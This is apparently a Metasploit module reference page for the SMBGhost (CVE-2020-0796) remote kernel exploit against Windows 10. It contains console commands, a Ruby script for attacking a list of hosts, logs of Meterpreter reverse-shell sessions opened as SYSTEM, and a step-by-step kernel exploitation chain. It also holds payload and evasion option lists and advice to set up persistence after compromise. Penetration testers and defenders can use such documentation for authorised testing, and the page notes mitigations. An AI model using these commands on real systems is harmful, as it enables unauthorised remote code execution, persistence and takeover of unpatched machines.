SMBv3 Compression Buffer Overflow - Metasploit


This page contains detailed information about how to use the exploit/windows/smb/cve_2020_0796_smbghost metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
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Module Overview

Name: SMBv3 Compression Buffer Overflow
Module: exploit/windows/smb/cve_2020_0796_smbghost
Source code: modules/exploits/windows/smb/cve_2020_0796_smbghost.rb
Disclosure date: 2020-03-13
Last modification time: 2022-03-10 18:03:35 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): 445
List of CVEs: CVE-2020-0796

This module is also known as SMBGhost or CoronaBlue.

A vulnerability exists within the Microsoft Server Message Block 3.1.1 (SMBv3) protocol that can be leveraged to execute code on a vulnerable server. This remove exploit implementation leverages this flaw to execute code in the context of the kernel, finally yielding a session as NT AUTHORITY\SYSTEM in spoolsv.exe. Exploitation can take a few minutes as the necessary data is gathered.

Module Ranking and Traits

Module Ranking:

  • average: The exploit is generally unreliable or difficult to exploit. More information about ranking can be found here.

Reliability:

  • repeatable-session: The module is expected to get a shell every time it runs.

Stability:

  • crash-os-restarts: Module may crash the OS, but the OS restarts.

Basic Usage

Using cve_2020_0796_smbghost against a single host

Normally, you can use exploit/windows/smb/cve_2020_0796_smbghost this way:

msf > use exploit/windows/smb/cve_2020_0796_smbghost
msf exploit(cve_2020_0796_smbghost) > show targets
    ... a list of targets ...
msf exploit(cve_2020_0796_smbghost) > set TARGET target-id
msf exploit(cve_2020_0796_smbghost) > show options
    ... show and set options ...
msf exploit(cve_2020_0796_smbghost) > exploit

Using cve_2020_0796_smbghost against multiple hosts

But it looks like this is a remote exploit module, which means you can also engage multiple hosts.

First, create a list of IPs you wish to exploit with this module. One IP per line.

Second, set up a background payload listener. This payload should be the same as the one your cve_2020_0796_smbghost will be using:

  1. Do: use exploit/multi/handler
  2. Do: set PAYLOAD [payload]
  3. Set other options required by the payload
  4. Do: set EXITONSESSION false
  5. Do: run -j

At this point, you should have a payload listening.

Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:

<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'

File.open(ip_list, 'rb').each_line do |ip|
  print_status("Trying against #{ip}")
  run_single("use exploit/windows/smb/cve_2020_0796_smbghost")
  run_single("set RHOST #{ip}")
  run_single("set DisablePayloadHandler true")

  #
  # Set a payload that's the same as the handler.
  # You might also need to add more run_single commands to configure other
  # payload options.
  #
  run_single("set PAYLOAD [payload name]")

  run_single("run")
end
</ruby>

Next, run the resource script in the console:

msf > resource [path-to-resource-script]

And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:

msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80

RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199

[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600

[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600

Required Options

  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base

Vulnerable Application

A vulnerability exists within the Microsoft Server Message Block 3.1.1 (SMBv3) protocol that can be leveraged to execute code on a vulnerable server. This remove exploit implementation leverages this flaw to execute code in the context of the kernel, finally yielding a session as NT AUTHORITY\SYSTEM in spoolsv.exe.

This vulnerability was patched in March 2020 but prior to that enough information was publicly available to trigger a crash which led to pre-patch workarounds. The official recommendation from Microsoft at the time was to disable SMBv3 compression, a feature which this exploit relies on. The module's check method will determine this value using the registry to identify whether or not compression has been disabled.

Other recommendations included restricting access to TCP port 445 via firewalls.

Warning

There is a high probability that even when the exploit is successful the remote target will crash within about 90 minutes. It is recommended that after a successful compromise, a persistence mechanism be established and the system be rebooted to avoid a Blue Screen of Death (BSOD).

Installation And Setup

Windows 10 versions 1903 and 1909 (without the patch) are vulnerable out of the box. The default setting is to have SMBv3 compression enabled.

Exploit Internals

The exploit is based on this PoC and this research. At a high level the steps are:

  1. Leverage the vulnerability to create a read primitive for physical memory
    1. Use the vulnerability to write an MDL describing the physical memory to read into KUSER_SHARED_DATA
      • KUSER_SHARED_DATA is used because it exists at a known address and has read/write permissions
    2. Use the vulnerability to corrupt a SRVNET_BUFFER_HDR to reference the previously written MDL
    3. Attempt to negotiate with the remote server, causing the desired memory to be returned as the response
  2. Use the read primitive to scan for the low stub, fingerprinting it based on a known value
  3. Extract the address of the page map level 4 (PML4) from the low stub once found
    1. Store the address of the low stub because it exists within the HAL heap
  4. Scan the PML4 for its self-reference entry to leak its address in virtual memory, this is also used to translate virtual addresses into physical addresses in the future
  5. Scan the HAL heap looking for the hal!HalpInterruptController, fingerprinting it based on a known pattern
  6. Extract the address of the hal!HalpApicRequestInterrupt from the hal!HalpInterruptController
  7. Use the write primitive to overwrite the PTE for KUSER_SHARED_DATA, granting it the necessary privileges to be executable
  8. Copy the shellcode (which is a combination of a kernel mode bootstrap and the usermode payload from Metasploit) to KUSER_SHARED_DATA
  9. Use the write primitive to overwrite the pointer of hal!HalpApicRequestInterrupt in hal!HalpInterruptController, replacing it with a pointer to the shellcode
  10. The shellcode queues an APC to inject the usermode payload into a spoolsv.exe instance with NT AUTHORITY\SYSTEM privileges

Verification Steps

  1. Start msfconsole
  2. Do: use exploit/windows/smb/cve_2020_0796_smbghost
  3. Set the RHOSTS and PAYLOAD options
  4. Do: run
  5. You should get a shell, the exploitation process may take a few minutes

Scenarios

Windows 10 Version 1909 Build 18363.418 x64

msf6 > use exploit/windows/smb/cve_2020_0796_smbghost
[*] Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/cve_2020_0796_smbghost) > set RHOSTS 192.168.159.76
RHOSTS => 192.168.159.76
msf6 exploit(windows/smb/cve_2020_0796_smbghost) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/cve_2020_0796_smbghost) > set LHOST 192.168.159.128
LHOST => 192.168.159.128
msf6 exploit(windows/smb/cve_2020_0796_smbghost) > exploit

[*] Started reverse TCP handler on 192.168.159.128:4444 
[*] 192.168.159.76:445 - Executing automatic check (disable AutoCheck to override)
[!] 192.168.159.76:445 - The service is running, but could not be validated.
[*] 192.168.159.76:445 - Found low stub at physical address 0x0000000000013000
[*] 192.168.159.76:445 - PML4 at 0x00000000001ad000 (UEFI)
[*] 192.168.159.76:445 - HAL heap found at 0xfffff7cd80000000
[*] 192.168.159.76:445 - Found PML4 self-reference entry at 0x0122
[*] 192.168.159.76:445 - Found hal!HalpInterruptController at 0xfffff7cd80001478
[*] 192.168.159.76:445 - Found hal!HalpApicRequestInterrupt at 0xfffff8035f6b7bb0
[*] 192.168.159.76:445 - KUSER_SHARED_DATA PTE NX bit cleared!
[*] Sending stage (200262 bytes) to 192.168.159.76
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.76:49675) at 2021-04-09 14:01:43 -0400

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : DESKTOP-RTCRBEV
OS              : Windows 10 (10.0 Build 18363).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 0
Meterpreter     : x64/windows
meterpreter >

Go back to menu.

Msfconsole Usage

Here is how the windows/smb/cve_2020_0796_smbghost exploit module looks in the msfconsole:

msf6 > use exploit/windows/smb/cve_2020_0796_smbghost

[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/cve_2020_0796_smbghost) > show info

       Name: SMBv3 Compression Buffer Overflow
     Module: exploit/windows/smb/cve_2020_0796_smbghost
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2020-03-13

Provided by:
  hugeh0ge
  chompie1337
  Spencer McIntyre

Module stability:
 crash-os-restarts

Module reliability:
 repeatable-session

Available targets:
  Id  Name
  --  ----
  0   Windows 10 v1903-1909 x64

Check supported:
  Yes

Basic options:
  Name    Current Setting  Required  Description
  ----    ---------------  --------  -----------
  RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT   445              yes       The target port (TCP)

Payload information:
  Space: 600

Description:
  A vulnerability exists within the Microsoft Server Message Block 
  3.1.1 (SMBv3) protocol that can be leveraged to execute code on a 
  vulnerable server. This remove exploit implementation leverages this 
  flaw to execute code in the context of the kernel, finally yielding 
  a session as NT AUTHORITY\SYSTEM in spoolsv.exe. Exploitation can 
  take a few minutes as the necessary data is gathered.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2020-0796
  https://ricercasecurity.blogspot.com/2020/04/ill-ask-your-body-smbghost-pre-auth-rce.html
  https://github.com/chompie1337/SMBGhost_RCE_PoC
  https://www.youtube.com/watch?v=RSV3f6aEJFY&t=1865s
  https://www.coresecurity.com/core-labs/articles/getting-physical-extreme-abuse-of-intel-based-paging-systems
  https://www.coresecurity.com/core-labs/articles/getting-physical-extreme-abuse-of-intel-based-paging-systems-part-2-windows
  https://labs.bluefrostsecurity.de/blog/2017/05/11/windows-10-hals-heap-extinction-of-the-halpinterruptcontroller-table-exploitation-technique/

Also known as:
  SMBGhost
  CoronaBlue

Related modules:
  exploit/windows/local/cve_2020_0796_smbghost

Module Options

This is a complete list of options available in the windows/smb/cve_2020_0796_smbghost exploit:

msf6 exploit(windows/smb/cve_2020_0796_smbghost) > show options

Module options (exploit/windows/smb/cve_2020_0796_smbghost):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   445              yes       The target port (TCP)

Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Windows 10 v1903-1909 x64

Advanced Options

Here is a complete list of advanced options supported by the windows/smb/cve_2020_0796_smbghost exploit:

msf6 exploit(windows/smb/cve_2020_0796_smbghost) > show advanced

Module advanced options (exploit/windows/smb/cve_2020_0796_smbghost):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   AutoCheck               true             no        Run check before exploit
   CHOST                                    no        The local client address
   CPORT                                    no        The local client port
   ConnectTimeout          10               yes       Maximum number of seconds to establish a TCP connection
   ContextInformationFile                   no        The information file that contains context information
   DefangedMode            true             yes       Run in defanged mode
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   ForceExploit            false            no        Override check result
   Proxies                                  no        A proxy chain of format type:host:port[,type:host:port][...]
   SSL                     false            no        Negotiate SSL/TLS for outgoing connections
   SSLCipher                                no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode           PEER             no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion              Auto             yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                10               no        Additional delay in seconds to wait for a session

Payload advanced options (windows/x64/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   PrependMigrate               false            yes       Spawns and runs shellcode in new process
   PrependMigrateProc                            no        Process to spawn and run shellcode in
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets

Here is a list of targets (platforms and systems) which the windows/smb/cve_2020_0796_smbghost module can exploit:

msf6 exploit(windows/smb/cve_2020_0796_smbghost) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Windows 10 v1903-1909 x64

Compatible Payloads

This is a list of possible payloads which can be delivered and executed on the target system using the windows/smb/cve_2020_0796_smbghost exploit:

msf6 exploit(windows/smb/cve_2020_0796_smbghost) > show payloads

Compatible Payloads
===================

   #   Name                                                Disclosure Date  Rank    Check  Description
   -   ----                                                ---------------  ----    -----  -----------
   0   payload/generic/custom                                               normal  No     Custom Payload
   1   payload/generic/shell_bind_tcp                                       normal  No     Generic Command Shell, Bind TCP Inline
   2   payload/generic/shell_reverse_tcp                                    normal  No     Generic Command Shell, Reverse TCP Inline
   3   payload/windows/x64/exec                                             normal  No     Windows x64 Execute Command
   4   payload/windows/x64/loadlibrary                                      normal  No     Windows x64 LoadLibrary Path
   5   payload/windows/x64/messagebox                                       normal  No     Windows MessageBox x64
   6   payload/windows/x64/meterpreter/bind_ipv6_tcp                        normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
   7   payload/windows/x64/meterpreter/bind_ipv6_tcp_uuid                   normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
   8   payload/windows/x64/meterpreter/bind_named_pipe                      normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
   9   payload/windows/x64/meterpreter/bind_tcp                             normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
   10  payload/windows/x64/meterpreter/bind_tcp_uuid                        normal  No     Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
   11  payload/windows/x64/meterpreter/reverse_http                         normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
   12  payload/windows/x64/meterpreter/reverse_https                        normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
   13  payload/windows/x64/meterpreter/reverse_named_pipe                   normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
   14  payload/windows/x64/meterpreter/reverse_tcp                          normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
   15  payload/windows/x64/meterpreter/reverse_tcp_rc4                      normal  No     Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   16  payload/windows/x64/meterpreter/reverse_tcp_uuid                     normal  No     Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)
   17  payload/windows/x64/peinject/bind_ipv6_tcp                           normal  No     Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager
   18  payload/windows/x64/peinject/bind_ipv6_tcp_uuid                      normal  No     Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager with UUID Support
   19  payload/windows/x64/peinject/bind_named_pipe                         normal  No     Windows Inject Reflective PE Files, Windows x64 Bind Named Pipe Stager
   20  payload/windows/x64/peinject/bind_tcp                                normal  No     Windows Inject Reflective PE Files, Windows x64 Bind TCP Stager
   21  payload/windows/x64/peinject/bind_tcp_uuid                           normal  No     Windows Inject Reflective PE Files, Bind TCP Stager with UUID Support (Windows x64)
   22  payload/windows/x64/peinject/reverse_named_pipe                      normal  No     Windows Inject Reflective PE Files, Windows x64 Reverse Named Pipe (SMB) Stager
   23  payload/windows/x64/peinject/reverse_tcp                             normal  No     Windows Inject Reflective PE Files, Windows x64 Reverse TCP Stager
   24  payload/windows/x64/peinject/reverse_tcp_rc4                         normal  No     Windows Inject Reflective PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   25  payload/windows/x64/peinject/reverse_tcp_uuid                        normal  No     Windows Inject Reflective PE Files, Reverse TCP Stager with UUID Support (Windows x64)
   26  payload/windows/x64/pingback_reverse_tcp                             normal  No     Windows x64 Pingback, Reverse TCP Inline
   27  payload/windows/x64/powershell_bind_tcp                              normal  No     Windows Interactive Powershell Session, Bind TCP
   28  payload/windows/x64/powershell_reverse_tcp                           normal  No     Windows Interactive Powershell Session, Reverse TCP
   29  payload/windows/x64/shell/bind_ipv6_tcp                              normal  No     Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager
   30  payload/windows/x64/shell/bind_ipv6_tcp_uuid                         normal  No     Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support
   31  payload/windows/x64/shell/bind_named_pipe                            normal  No     Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager
   32  payload/windows/x64/shell/bind_tcp                                   normal  No     Windows x64 Command Shell, Windows x64 Bind TCP Stager
   33  payload/windows/x64/shell/bind_tcp_uuid                              normal  No     Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)
   34  payload/windows/x64/shell/reverse_tcp                                normal  No     Windows x64 Command Shell, Windows x64 Reverse TCP Stager
   35  payload/windows/x64/shell/reverse_tcp_rc4                            normal  No     Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   36  payload/windows/x64/shell/reverse_tcp_uuid                           normal  No     Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)
   37  payload/windows/x64/shell_bind_tcp                                   normal  No     Windows x64 Command Shell, Bind TCP Inline
   38  payload/windows/x64/shell_reverse_tcp                                normal  No     Windows x64 Command Shell, Reverse TCP Inline
   39  payload/windows/x64/vncinject/bind_ipv6_tcp                          normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager
   40  payload/windows/x64/vncinject/bind_ipv6_tcp_uuid                     normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager with UUID Support
   41  payload/windows/x64/vncinject/bind_named_pipe                        normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Bind Named Pipe Stager
   42  payload/windows/x64/vncinject/bind_tcp                               normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Bind TCP Stager
   43  payload/windows/x64/vncinject/bind_tcp_uuid                          normal  No     Windows x64 VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x64)
   44  payload/windows/x64/vncinject/reverse_http                           normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
   45  payload/windows/x64/vncinject/reverse_https                          normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
   46  payload/windows/x64/vncinject/reverse_tcp                            normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse TCP Stager
   47  payload/windows/x64/vncinject/reverse_tcp_rc4                        normal  No     Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   48  payload/windows/x64/vncinject/reverse_tcp_uuid                       normal  No     Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)

Evasion Options

Here is the full list of possible evasion options supported by the windows/smb/cve_2020_0796_smbghost exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(windows/smb/cve_2020_0796_smbghost) > show evasion

Module evasion options:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   TCP::max_send_size  0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay     0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

SMB3

Here is a relevant code snippet related to the "SMB3" error message:

109:	    rescue ::Exception => e # rubocop:disable Lint/RescueException
110:	      vprint_error("#{rhost}: #{e.class} #{e}")
111:	      return CheckCode::Unknown
112:	    end
113:	
114:	    return CheckCode::Safe unless protocol == 'SMB3'
115:	    return CheckCode::Safe unless client.dialect == '0x0311'
116:	
117:	    lznt1_algorithm = RubySMB::SMB2::CompressionCapabilities::COMPRESSION_ALGORITHM_MAP.key('LZNT1')
118:	    return CheckCode::Safe unless client.server_compression_algorithms.include?(lznt1_algorithm)
119:

0x0311

Here is a relevant code snippet related to the "0x0311" error message:

110:	      vprint_error("#{rhost}: #{e.class} #{e}")
111:	      return CheckCode::Unknown
112:	    end
113:	
114:	    return CheckCode::Safe unless protocol == 'SMB3'
115:	    return CheckCode::Safe unless client.dialect == '0x0311'
116:	
117:	    lznt1_algorithm = RubySMB::SMB2::CompressionCapabilities::COMPRESSION_ALGORITHM_MAP.key('LZNT1')
118:	    return CheckCode::Safe unless client.server_compression_algorithms.include?(lznt1_algorithm)
119:	
120:	    CheckCode::Detected

Failed to read physical memory

Here is a relevant code snippet related to the "Failed to read physical memory" error message:

213:	        return blob
214:	      end
215:	      sleep try**2
216:	    end
217:	
218:	    fail_with(Failure::Unknown, 'Failed to read physical memory')
219:	  end
220:	
221:	  def find_low_stub
222:	    common = [0x13000].to_enum # try the most common value first
223:	    all = (0x1000..0x100000).step(0x1000)

Failed to find the low stub

Here is a relevant code snippet related to the "Failed to find the low stub" error message:

235:	      print_status("Found HAL heap at 0x#{phal_heap.to_s(16).rjust(16, '0')}")
236:	
237:	      return { pml4: pml4, phal_heap: phal_heap }
238:	    end
239:	
240:	    fail_with(Failure::Unknown, 'Failed to find the low stub')
241:	  end
242:	
243:	  def find_pml4_selfref(pointers)
244:	    search_len = 0x1000
245:	    index = pointers[:pml4]

Failed to leak the PML4 self reference

Here is a relevant code snippet related to the "Failed to leak the PML4 self reference" error message:

258:	      end
259:	      search_len -= [buff.length, 8].max
260:	      index += [buff.length, 8].max
261:	    end
262:	
263:	    fail_with(Failure::Unknown, 'Failed to leak the PML4 self reference')
264:	  end
265:	
266:	  def get_phys_addr(pointers, va_addr)
267:	    pml4_index = (((1 << 9) - 1) & (va_addr >> (40 - 1)))
268:	    pdpt_index = (((1 << 9) - 1) & (va_addr >> (31 - 1)))

Failed to leak the address of hal!HalpInterruptController

Here is a relevant code snippet related to the "Failed to leak the address of hal!HalpInterruptController" error message:

337:	        return pointers
338:	      end
339:	
340:	      va_cursor += buff.length
341:	    end
342:	    fail_with(Failure::Unknown, 'Failed to leak the address of hal!HalpInterruptController')
343:	  end
344:	
345:	  def build_shellcode(pointers)
346:	    source = File.read(File.join(Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2020-0796', 'RCE', 'kernel_shellcode.asm'))
347:	    edata = Metasm::Shellcode.assemble(Metasm::X64.new, source).encoded

Incompatible payload: <PAYLOAD> (must be x64)

Here is a relevant code snippet related to the "Incompatible payload: <PAYLOAD> (must be x64)" error message:

364:	      EOF
365:	
366:	      fail_with(Failure::BadConfig, warning)
367:	    end
368:	
369:	    fail_with(Failure::BadConfig, "Incompatible payload: #{datastore['PAYLOAD']} (must be x64)") unless payload.arch.include? ARCH_X64
370:	    @memory_cache = {}
371:	    @shellcode_length = 0
372:	    pointers = find_low_stub
373:	    pointers = find_pml4_selfref(pointers)
374:	    pointers = search_hal_heap(pointers)

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References

See Also

Check also the following modules related to this module:

Related Nessus plugins:

Authors

  • hugeh0ge
  • chompie1337
  • Spencer McIntyre

Version

This page has been produced using Metasploit Framework version 6.2.1-dev. For more modules, visit the Metasploit Module Library.

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